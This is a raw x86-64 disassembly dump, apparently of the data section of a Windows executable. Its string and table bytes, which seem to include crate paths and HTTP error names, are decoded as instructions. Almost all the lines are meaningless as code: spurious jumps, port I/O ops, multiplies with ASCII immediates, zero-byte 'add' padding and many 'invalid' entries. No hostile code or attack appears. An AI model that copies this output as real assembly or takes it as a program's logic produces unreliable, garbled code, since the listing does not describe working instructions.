outsb dx, byte [rsi]
jb 0x14012c3a5
jno 0x14012c3b7
jne 0x14012c3a8
jae 0x14012c3b9
jae 0x14012c3b9
and byte [rax + 0x61], ch
jae 0x14012c36a
push 0x75207361
outsb dx, byte [rsi]
jne 0x14012c3ba
jae 0x14012c3c3
jne 0x14012c3bf
jo case.0x14003596b.59
jo case.0x14003596b.59
outsd dx, dword [rsi]
jb 0x14012c3c7
je 0x14012c3b9
and byte fs:[rax + 0x54], cl
and byte fs:[rax + 0x54], cl
push rsp
push rax
and byte [rbp + 0x65], ch
je 0x14012c3c7
outsd dx, dword [rsi]
invalid
invalid
jno 0x14012c3e1
imul esi, dword [rdx + 0x65], 0x62612073
jae 0x14012c3e4
outsd dx, dword [rsi]
insb byte [rdi], dx
jne 0x14012c3ec
sub eax, 0x6d726f66
sub eax, 0x6d726f66
and byte [rbp + 0x52], dl
jae 0x14012c3f2
outsb dx, byte [rsi]
outsd dx, dword [rsi]
and byte [rbp + 0x70], dh
jb 0x14012c3ec
and byte gs:[rcx + 0x76], ah
and byte [rcx + 0x76], ah
invalid
invalid
insb byte [rdi], dx
jne 0x14012c409
jne 0x14012c409
jb 0x14012c3fd
and byte gs:[rbp + 0x78], ah
jo 0x14012c408
js 0x14012c412
invalid
invalid
and byte fs:[rdx + 0x75], ah
je 0x14012c3cc
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x14012c3d0
insb byte [rdi], dx
jbe 0x14012c419
insb byte [rdi], dx
and byte [rcx + 0x50], al
push rax
and byte [r9 + 0x6e], bpl
and byte [rcx + 0x6e], ch
imul ebp, dword [rsi + 0x20], 0x64657375
imul esi, dword [rbx + 0x70], 0x68637461
and byte [rbp + 0x73], dh
imul esi, dword fs:[rbx + 0x70], 0x68637461
imul esi, dword fs:[rbx + 0x70], 0x68637461
jo 0x14012c426
je 0x14012c42a
push 0x73617420
and byte [rcx + riz*2 + 0x73], dh
imul esp, dword [rax], 0x69
jae 0x14012c3f1
and byte [rdi + 0x6f], ah
outsd dx, dword [esi]
outsb dx, byte [rsi]
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x14012c44a
and byte fs:[rdx + 0x65], ah
and byte fs:[rdx + 0x65], ah
outsw dx, word [rsi]
jb 0x14012c452
and byte gs:[rbp + 0x65], ch
and byte [rbp + 0x65], ch
jae 0x14012c465
jae 0x14012c454
invalid
and byte gs:[ebx + 0x6f], ah
insd dword [rdi], dx
jo 0x14012c467
je 0x14012c463
jb 0x14012c466
jb 0x14012c466
invalid
jne 0x14012c478
outsb dx, byte [rsi]
js 0x14012c47d
invalid
and byte [rbp + 0x65], ch
jae 0x14012c48a
invalid
and byte gs:[rsi + 0x72], ah
outsd dx, dword [rsi]
insd dword [rdi], dx
and byte [rbx + 0x6f], ah
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
je 0x14012c491
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
jo 0x14012c492
jb 0x14012c490
je 0x14012c49a
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rdi + 0x61], dh
jae 0x14012c458
invalid
outsd dx, dword [rsi]
jae 0x14012c4b2
jb 0x14012c4c3
outsd dx, dword [rsi]
jb 0x14012c474
je 0x14012c4c8
jns 0x14012c4c1
outsb dx, byte [rsi]
and byte [edi + ebp*2 + 0x20], dh
invalid
invalid
jb 0x14012c4da
jb 0x14012c4da
jb 0x14012c4d8
outsd dx, dword [rsi]
jb 0x14012c48b
jb 0x14012c4d2
invalid
and byte [rdx + 0x6f], ah
jns 0x14012c49a
jns 0x14012c49a
jb 0x14012c4ec
insd dword [rdi], dx
and byte [rbx + 0x6f], ah
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x14012c4fe
jb 0x14012c4fc
outsd dx, dword [rsi]
jb 0x14012c4af
ja 0x14012c503
jb 0x14012c4fb
imul esi, dword [rcx + rbp*2 + 0x6e], 0x20612067
je 0x14012c4fd
outsb dx, byte [rsi]
and byte [ecx + 0x20], ah
invalid
outsd dx, dword [rsi]
jns 0x14012c4be
je 0x14012c50f
and byte [rbx + 0x6f], ah
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
invalid
jb 0x14012c4d1
jae 0x14012c51b
push 0x69747475
jne 0x14012c529
je str.Parse
outsb dx, byte [rsi]
and byte [edi + ebp*2 + 0x77], ah
outsb dx, byte [rsi]
and byte [rbx + 0x6f], ah
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsb dx, byte [rsi]
push 0x32707474
and byte [rbp + 0x72], ah
jb 0x14012c542
outsd dx, dword [rsi]
jb 0x14012c53d
jns 0x14012c547
jb 0x14012c514
jb 0x14012c514
cmp al, byte [rbp + 0x72]
jb 0x14012c54e
jb 0x14012c4a1
add byte [rax + 1], r8b
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400365], ah
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte [0x5000000001400365]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x65], dl
add eax, dword [rax + 1]
add byte [rax], al
push rax
add eax, dword gs:[rax + 1]
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, al
xor eax, 0x14003
add byte [rax], al
add byte [rax], al
sal byte [0x140140522], 0
add byte [rax + 0x61], dl
push rax
invalid
jb 0x14012c597
add dword [rax], eax
add byte [rax], al
push rax
invalid
add byte gs:[rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x68], al
add eax, dword [rax + 1]
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
push 0x14003
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rax + 3], ch
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
invalid
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x14012c603
outsd dx, dword fs:[rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
invalid
push rsp
outsd dx, dword [rsi]
imul esp, dword [rbp + 0x6e], 0x43
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x14012c67f
outsb dx, byte [rsi]
je 0x14012c669
outsb dx, byte gs:[rsi]
je 0x14012c68a
outsb dx, byte [rsi]
jbe 0x14012c687
insb byte [rdi], dx
imul esp, dword [rsp + rdx*2 + 0x72], 0x66736e61
push rsp
jb 0x14012c68d
outsb dx, byte [rsi]
jae 0x14012c695
push rsp
jb 0x14012c68d
outsb dx, byte [rsi]
jae 0x14012c695
jb 0x14012c677
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jns 0x14012c69f
jb 0x14012c6b3
je 0x14012c6b1
invalid
push rbx
jb 0x14012c6cd
imul esp, dword [rbx + 0x65], 0x75736e55
push rbp
outsb dx, byte [rsi]
jae 0x14012c6d3
jo 0x14012c6d0
outsd dx, dword [rsi]
jb 0x14012c6d7
push rsi
jb 0x14012c6dc
imul ebp, dword [rdi + 0x6e], 0x75736e55
push rbp
outsb dx, byte [rsi]
jae 0x14012c6e5
jo 0x14012c6e2
outsd dx, dword [rsi]
jb 0x14012c6e9
push rdx
push rdx
jno 0x14012c6f0
jae 0x14012c6f2
je 0x14012c6ea
je 0x14012c6ea
outsd dx, dword [rsi]
invalid
invalid
outsd dx, dword [rsi]
insb byte [rdi], dx
jne 0x14012c6ff
je 0x14012c6f1
push rbp
push rbp
jb 0x14012c6f8
push rdx
jno 0x14012c708
imul esi, dword [rdx + 0x65], 0x556f4e64
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
push rbp
jo 0x14012c703
jb 0x14012c6ff
invalid
invalid
invalid
imul r14d, dword [rbx + 0x70], 0x68637461
outsd dx, dword [rsi]
outsb dx, byte [rsi]
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x68], ah
invalid
invalid
add byte [rax], al
add byte [rax], al
invalid
jne 0x14012c752
imul esp, dword [rbp + 0x64], 0x6f
outsd dx, dword fs:[rsi]
jb 0x14012c753
imul esp, dword [rdi + 0x69], 0x206c616e
imul ebp, dword [esi + 0x61], 0x6568206c
push 0x65646165
jb 0x14012c717
invalid
invalid
jbe 0x14012c75a
invalid
insb byte [rdi], dx
jne 0x14012c761
and byte [rax + 0x6c], dh
jne 0x14012c774
and byte [rcx + 0x73], ah
invalid
jae 0x14012c768
imul ebp, dword [rcx + 0x20], 0x76207369
invalid
imul esi, dword [rbx + 0x20], 0x696c6176
cmp bl, byte fs:[r13 + r10*2 + 0x73]
jb 0x14012c78b
jae 0x14012c775
pop rsp
push rbp
jae 0x14012c781
jb 0x14012c77a
invalid
pop rsp
push 0x72657079
sub eax, 0x34312e30
xor bh, byte cs:[rax]
xor dword cs:[rsi + rbp], esi
xor bh, byte [rax]
pop rsp
jae 0x14012c7d5
invalid
jb 0x14012c7df
jb 0x14012c7e2
add byte [rax], dl
invalid
add dword [rax], eax
add byte [rax], al
pop rdi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xe000000], dl
add byte [rax], al
add byte [rdi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg ebp, eax
add byte [rax], al
add byte [rsi], cl
add byte [rax], al
add byte [rbx + 0x3a], al
invalid
invalid
pop rsp
push rbp
jae 0x14012c7f3
jb 0x14012c803
pop rsp
push rbp
jae 0x14012c7f9
jb 0x14012c7f2
invalid
xor bh, byte cs:[rax]
pop rsp
jae 0x14012c84d
invalid
outsd dx, dword [rsi]
je 0x14012c851
pop rsp
push 0x69705c32
outsb dx, byte [rsi]
jb 0x14012c860
add byte [rax], al
add byte [rax + 0x14012c7], cl
adc al, byte [rax + 1]
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], r8b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], al
add byte [rax], al
sbb dword [rax], eax
add byte [rax], al
mov bh, al
adc al, byte [rax + 1]
add byte [rcx], bl
add byte [rax], al
add byte [rax + 0x14012c7], cl
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
fiadd word [rax]
add byte [rax], al
sub byte [rax], al
add byte [rax], al
mov bh, al
adc al, byte [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add eax, dword [rcx]
add byte [rax], al
sub al, 0
add byte [rax], al
mov bh, al
adc al, byte [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
sub al, 0
add byte [rax], al
mov bh, al
adc al, byte [rax + 1]
add byte [rax], al
add byte [rax + 0x14012c7], cl
invalid
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub dword [rcx], eax
add byte [rax], al
sub eax, 0x70000000
jo 0x14012c8d9
outsb dx, byte [rsi]
and byte [edx + 0x65], dh
invalid
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x636e6143
invalid
invalid
outsb dx, byte [rsi]
invalid
insb byte [rdi], dx
insb byte [rdi], dx
rol byte fs:[rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jb 0x14013c63f
invalid
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ah
jno 0x14013c65f
add dword [rax], eax
add byte [rax], al
loopne 0x14013c6ce
add al, ah
insb byte [rdi], dx
add al, 0x40
add dword [rax], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 4], ch
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte [0xc00000000140019c]
add byte [rax + 1], r8b
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x140046c], dh
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rcx + 4], ch
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
imul eax, dword [rax + rax*2], 1
push rbx
outsd dx, dword [rsi]
invalid
push 0x74736f
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x2e], dh
add al, 0x40
add dword [rax], eax
add byte [rax], al
jo 0x14013f8e9
jb 0x14013f8f0
add byte [rax], al
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rax
iretd
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x14002e0], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0xe0
add al, byte [rax + 1]
add byte [rax], al
add byte [rax + 0x4a], dl
push rax
or al, 0x40
add dword [rax], eax
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
push rbp
jae 0x140140250
jb 0x1401401ed
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x42], al
or byte [rax + 1], al
add byte [rax], al
add byte [rcx + 0x6f], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
pop rcx
add eax, dword [rax + 1]
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
mov esp, 0x14008
add byte [rax], al
adc byte [rax + rcx + 0x140], bh
add byte [rcx + 0x6e], cl
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401402bd
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0x61684369
jb 0x1401402b0
invalid
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401402cb
insb byte [rdi], dx
imul esp, dword [rbx + rdx*2 + 0x63], 0x656d6568
outsb dx, byte [rsi]
jbe 0x1401402d8
insb byte [rdi], dx
imul esp, dword [rcx + rax*2 + 0x75], 0x726f6874
imul esi, dword [rcx + rdi*2 + 0x49], 0x6c61766e
outsb dx, byte [rsi]
jbe 0x1401402e8
insb byte [rdi], dx
outsb dx, byte [rsi]
jbe 0x1401402e8
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x6f], 0x74616d72
push rbx
invalid
jne 0x140140314
push 0x7469726f
jns 0x1401402f4
imul esi, dword [rbx + 0x73], 0x50676e69
invalid
push 0x51646e41
jne 0x14014031c
jb 0x140140332
imul r14, qword [r11 + 0x73], 0x54676e69
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
imul ebp, dword [rsi + 0x67], 0x4c6f6f54
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
invalid
insd dword [rdi], dx
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
jbe 0x140140339
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0xc0000069
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400586], dl
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
xchg byte [0x14014043f], al
add byte [rdi + 0x75], cl
jne 0x140140377
invalid
outsd dx, dword [rsi]
and byte [rdx + 0x6f], ah
jne 0x140140379
jae 0x14014032e
invalid
invalid
cmp dword [rdx + 0x31], esp
xor dword ss:[rcx + rdi], esi
xor dh, byte [rax]
cmp byte [rbx + 0x38], ah
invalid
xor byte [rax], bh
invalid
invalid
xor dword [rbx], esi
xor esi, dword [rcx]
xor dh, byte [rdi]
xor dword [rsi], esi
xor byte ss:[rbx], dh
xor byte ss:[rbx], dh
invalid
add edx, dword [rax + rax*2]
add dword [rax], eax
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], dl
or byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
adc al, 3
adc al, 0x40
add dword [rax], eax
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rcx], bl
add byte [rax], al
sbb al, 0
add byte [rax], al
invalid
insb byte [rdi], dx
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400e9f], al
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
or al, 0x40
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
invalid
push rbp
outsb dx, byte [rsi]
js 0x1401420bd
invalid
push rax
invalid
push rdx
push 0x65
invalid
push rdx
insb byte [rdi], dx
invalid
jbe 0x1401420ed
jb 0x1401420f0
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1401420f3
push rbx
je 0x140142104
invalid
invalid
imul r14, qword [r11 + 0x73], 0x55676e69
jb 0x14014211a
push rbx
invalid
push 0x7469726f
jns 0x140142114
push rax
push rax
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
push rdx
jae 0x140142130
je 0x14014210e
je 0x140142135
jb 0x140142125
outsb dx, byte gs:[rsi]
push rdx
jae 0x140142149
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x140142142
push rbx
outsb dx, byte gs:[rsi]
push rax
imul ebp, dword [rsi + 0x67], 0x6c696857
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x646e6553
push rbx
push rbx
push rbx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
push rbx
je 0x14014216d
imul ebp, dword [rsi + 0x67], 0x69685773
insb byte [rdi], dx
push rax
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x72656550
imul r14d, dword [rbx + 0x61], 0x64656c62
push rax
jb 0x140142152
imul esi, dword [rbx + 0x61], 0x64656c62
push rbx
push rbx
jb 0x14014218f
jb 0x14014216c
jb 0x14014216c
jne 0x140142191
push 0x7262694c
invalid
imul r12, qword [rdx + 0x72], 0x52797261
jns 0x140142179
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x140142191
insb byte [rdi], dx
invalid
jae 0x140142197
add byte fs:[rax], al
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte [0x8000000001400a85]
add eax, 0x14014
add byte [rax], al
pop rbx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14914216f], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400a85], ah
or al, byte [rax + 1]
add byte [rax], al
add byte [rax + 0x1401405], al
add byte [rax], al
add byte [rbx], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
and eax, 0x9000002
or dword [rax], eax
add byte [rax], al
jo 0x1401421d8
add byte [rax], al
add byte [rdi + 0x70], cl
jo 0x1401421d8
outsb dx, byte [rsi]
outsb dx, byte [rsi]
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x1401421de
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x2d], ah
add al, 0x40
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, al
test dword [rdx], ecx
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x30], dl
add al, 0x40
push rax
rol byte [rax + rax*2], 1
add dword [rax], eax
add byte [rax], al
push rbx
je 0x140142255
invalid
je 0x1401422c0
outsb dx, byte [rsi]
jne 0x1401422bf
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x140095a], dl
add byte [rax], al
add byte [rdx + 0x6f], al
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jns 0x1401422d0
jo 0x1401422ca
insb byte [rdi], dx
imul esi, dword [rsi + 0x65], 0x53646e45
je 0x140142305
invalid
push rdx
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x14014232b
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
insb byte [rdi], dx
jb 0x140142332
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x140142336
invalid
invalid
jo 0x140142379
jae 0x14014236f
outsb dx, byte [rsi]
je 0x140142350
cmp bl, byte [rbp + rdx*2 + 0x73]
jb 0x140142387
pop rsp
push rbp
jae 0x14014237d
jb 0x140142376
invalid
jb 0x140142390
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140142398
js 0x140142362
invalid
invalid
je 0x14014239e
jae 0x140142369
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
invalid
jb 0x1401423cd
je 0x1401423cb
pop rsp
outsb dx, byte gs:[rsi]
invalid
jb 0x1401423e4
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + riz], cl
add byte [rax], al
or al, 0x23
and edx, dword [rax + rax*2]
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov bh, 0
add byte [rax], al
invalid
add byte [rdi + 0xe000000], dh
add byte [rax], al
add byte [rbx + riz], cl
or al, 0x23
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x20000000], bh
add byte [rax], al
mov eax, 0x20000000
add byte [rax], al
add byte [rbx + riz], cl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x26000000], bl
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x14014243b
pop rsp
push rbp
jae 0x140142431
jb 0x14014242a
jb 0x14014242a
pop rsp
invalid
js 0x140142416
invalid
outsb dx, byte [rsi]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rax
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
xor eax, dword [rax]
add byte [rax], al
jne 0x1401424ad
add byte [rax], al
add byte [rbx], dh
add byte [rax], al
add byte [rbp + 0x73], dh
jne 0x1401424ad
imul edi, dword [rdx + 0x65], 0x65766f20
jb 0x1401424a9
jp 0x1401424a2
and byte [rdi + 0x76], ch
jb 0x1401424a9
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140142467
ja 0x1401424b1
outsb dx, byte gs:[rsi]
and byte [rbx + 0x61], ah
insb byte [rdi], dx
invalid
add al, al
and edx, dword [rax + rax*2]
add dword [rax], eax
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
or al, byte [rax]
add byte [rax], al
jo 0x1401424f1
imul esi, dword [rbx + 0x6f], 0x6e64656e
ja 0x1401424eb
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
and byte [0x1a3345fb5], bh
invalid
adc al, 0x40
add dword [rax], eax
add byte [rax], al
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg edx, eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x1401424], dl
add byte [rax], al
add byte [0x1401424bd], cl
and al, 0x14
add dword [rax], eax
add byte [rax], al
or eax, 0
add byte [rax], al
add al, ch
cli
adc al, 0x40
add dword [rax], eax
add byte [rax], al
pop rdi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 4], al
add byte [rax], al
or dword [rax], eax
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x140142553
pop rsp
push rbp
jae 0x140142549
jb 0x140142542
invalid
outsd dx, dword [rsi]
pop rsp
jb 0x140142554
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x14014255c
jae case.0x14003596b.249
jb case.0x14003596b.250
pop rsp
jae 0x14014256a
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140142564
je 0x14014256a
jae 0x140142535
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
jb 0x14014259c
invalid
push rbx
je 0x1401425a0
jb 0x1401425b5
push rbx
imul edi, dword [rdx + 0x65], 0x657a6953
push rbx
imul edi, dword [rdx + 0x65], 0x4573774c
js 0x1401425c3
ja 0x1401425bf
js 0x1401425c3
outsb dx, byte gs:[rsi]
jae 0x1401425bc
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
imul edi, dword [rdx + 0x65], 0x6f42664c
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jns 0x1401425a3
jb 0x1401425a4
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jns 0x1401425b2
jns 0x1401425b2
push sp
push rsp
